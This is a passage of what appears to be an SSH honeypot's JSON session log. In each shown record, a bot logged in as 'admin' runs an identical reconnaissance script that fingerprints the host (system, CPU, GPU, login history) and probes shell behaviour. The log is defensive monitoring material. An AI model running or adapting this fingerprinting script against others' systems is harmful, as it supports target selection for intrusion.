printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:59:06.123294+00:00",
  "ended_at": "2026-08-21T10:59:06.215939+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ceecc966-d26b-468f-92fa-468cf81d0df3",
  "name": "meadow-gilded-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 39882,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:57:34.992847+00:00",
  "ended_at": "2026-08-21T10:57:35.353735+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ecd95e5f-37c8-470d-95ef-7b93d510e703",
  "name": "sullen-tidal-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 36900,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:56:03.850732+00:00",
  "ended_at": "2026-08-21T10:56:04.268683+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7ba7fd0d-a597-44f4-bfac-876ad9df39cd",
  "name": "distant-pewter-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 33920,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:54:31.601538+00:00",
  "ended_at": "2026-08-21T10:54:31.700968+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4774f203-a841-4879-b37e-6211435a9afc",
  "name": "salty-knotted-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 59174,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:52:59.094034+00:00",
  "ended_at": "2026-08-21T10:52:59.184342+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c7d8fea4-37db-4d35-915b-70514e3de867",
  "name": "mighty-fearless-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 56202,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:51:30.505838+00:00",
  "ended_at": "2026-08-21T10:51:30.679824+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "26ac1af3-2376-4084-b710-26368618da63",
  "name": "nameless-gleaming-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 53234,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:50:01.989749+00:00",
  "ended_at": "2026-08-21T10:50:02.161715+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a3f878e9-dd7d-44c8-b2ce-44b63ef1aa03",
  "name": "ruddy-deft-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 50264,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
